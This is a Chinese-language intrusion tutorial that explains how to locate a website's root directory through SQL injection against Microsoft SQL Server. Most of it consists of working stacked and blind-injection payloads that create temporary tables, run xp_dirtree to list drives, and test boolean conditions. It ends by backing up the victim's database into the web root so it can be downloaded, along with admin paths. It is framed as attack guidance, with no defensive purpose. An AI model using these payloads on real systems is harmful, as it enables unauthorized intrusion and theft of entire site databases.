入侵中快速獲得Web根目錄的技巧

字號:

本文章針對以下環(huán)境,如果不符合以下的條件,就不適合用下面提到的方法來獲得WEB根目錄。
    1、SQL SERVER允許執(zhí)行多行語句;
    2、該網(wǎng)站能進(jìn)行注入;
    3、沒有返回詳細(xì)的錯誤提示信息(否則沒有必要用這種方法)。
    根據(jù)經(jīng)驗,猜疑WEB根目錄的順序是:d盤、e盤、c盤,首先我們建立一個臨時表用于存放master..xp_dirtree(適合于public)生成的目錄樹,用以下語句:
    ;create table temp(dir nvarchar(255),depth varchar(255));--,該表的dir字段表示目錄的名稱,depth字段表示目錄的深度。然后執(zhí)行xp_dirtree獲得D盤的目錄樹,語句如下:
    ;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--
    在進(jìn)行下面的操作前,先查看D盤有幾個文件夾,這樣對D盤有個大致的了解,語句如下:
    and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','
    WINDOWS','CAConfig','wmpub','Microsoft UAM 卷'))>=數(shù)字(數(shù)字=0、1、2、3...)
    接著,我們在對方的網(wǎng)站上找?guī)讉€一級子目錄,如user、photo,然后,用篩選的方法來判斷WEB根目錄上是否存在此盤上,語句如下:
    and (select count(*) from temp where dir<>'user')<(select count(*) from temp)
    看語句的返回結(jié)果,如果為真,表示W(wǎng)EB根目錄有可能在此盤上,為了進(jìn)一步確認(rèn),多測試幾個子目錄:
    and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)
    ...
    如果所有的測試結(jié)果都為真,表示W(wǎng)EB根目錄很有可能在此盤上。
    下面假設(shè)找到的WEB根目錄在此盤上,用以下的語句來獲得一級子目錄的深度:
    and (select depth from temp where dir='user')>=數(shù)字(數(shù)字=1、2、3...)
    假設(shè)得到的depth是3,說明user目錄是D盤的3級目錄,則WEB根目錄是D盤的二級目錄。
    目前我們已經(jīng)知道了根目錄所在的盤符和深度,要找到根目錄的具體位置,我們來從D盤根目錄開始逐一搜尋,當(dāng)然,沒有必要知道每個目錄的名稱,否則太耗費時間了。
    接下來,另外建立一個臨時表,用來存放D盤的1級子目錄下的所有目錄,語句如下:
    ;create table temp1(dir nvarchar(255),depth varchar(255));--
    然后把從D盤的第一個子目錄下的所有目錄存到temp1中,語句如下:
    declare @dirname varchar(255);set @dirname='d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information'
    ,'WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname
    當(dāng)然也可以把D盤的第二個子目錄下的所有目錄存到temp1中,只需把第二個top 1改為top 2就行了。
    現(xiàn)在,temp1中已經(jīng)保存了所有D盤第一級子目錄下的所有目錄,然后,我們用同樣的方法來判斷根目錄是否在此一級子目錄下:
    and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)
    如果返回為真,表示根目錄可能在此子目錄下,記住要多測試幾個例子,如果都返回為假,則表明WEB根目錄不在此目錄下,然后我們在用同樣的方法來獲得D盤第2、3...個子目錄下的所有目錄列表,來判斷WEB根目錄是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的內(nèi)容刪除。
    現(xiàn)在假設(shè),WEB根目錄在D盤的第一級子目錄下,該子目錄名稱為website,怎樣獲得這個目錄的名稱我想不用我說了吧。因為前面我們知道了WEB根目錄的深度為2,我們需要知道website下到底哪個才是真正的WEB根目錄。
    現(xiàn)在,我們用同樣的方法,再建立第3個臨時表:
    ;create table temp2(dir nvarchar(255),depth varchar(255));--
    然后把從D盤的website下的所有目錄存到temp2中,語句如下:
    declare @dirname varchar(255);set @dirname='d:\website\'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information'
    ,'WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname
    當(dāng)然也可以把D盤的website下第二個子目錄下的所有目錄存到temp2中,只需把第二個top 1改為top 2就行了。
    現(xiàn)在,我們用同樣的方法判斷該目錄是否為根目錄:
    and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2)
    如果返回為真,為了確定我們的判斷,多測試幾個例子,方法上面都講到了,如果多個例子都返回為真,那么就確定了該目錄為WEB根目錄。
    用以上的方法基本上可以獲得WEB根目錄,現(xiàn)在我們假設(shè)WEB根目錄是:D:\website\www
    然后,我們就可以備份當(dāng)前數(shù)據(jù)庫到這個目錄下用來下載。備份前我們把temp、temp1、temp2的內(nèi)容清空,然后C、D、E盤的目錄樹分別存到temp、temp1、temp2中。
    下載完數(shù)據(jù)庫后要記得把三個臨時表DROP掉,現(xiàn)在我們在下載的數(shù)據(jù)庫中可以找到所有的目錄列表,包括后臺管理的目錄以及更多信息。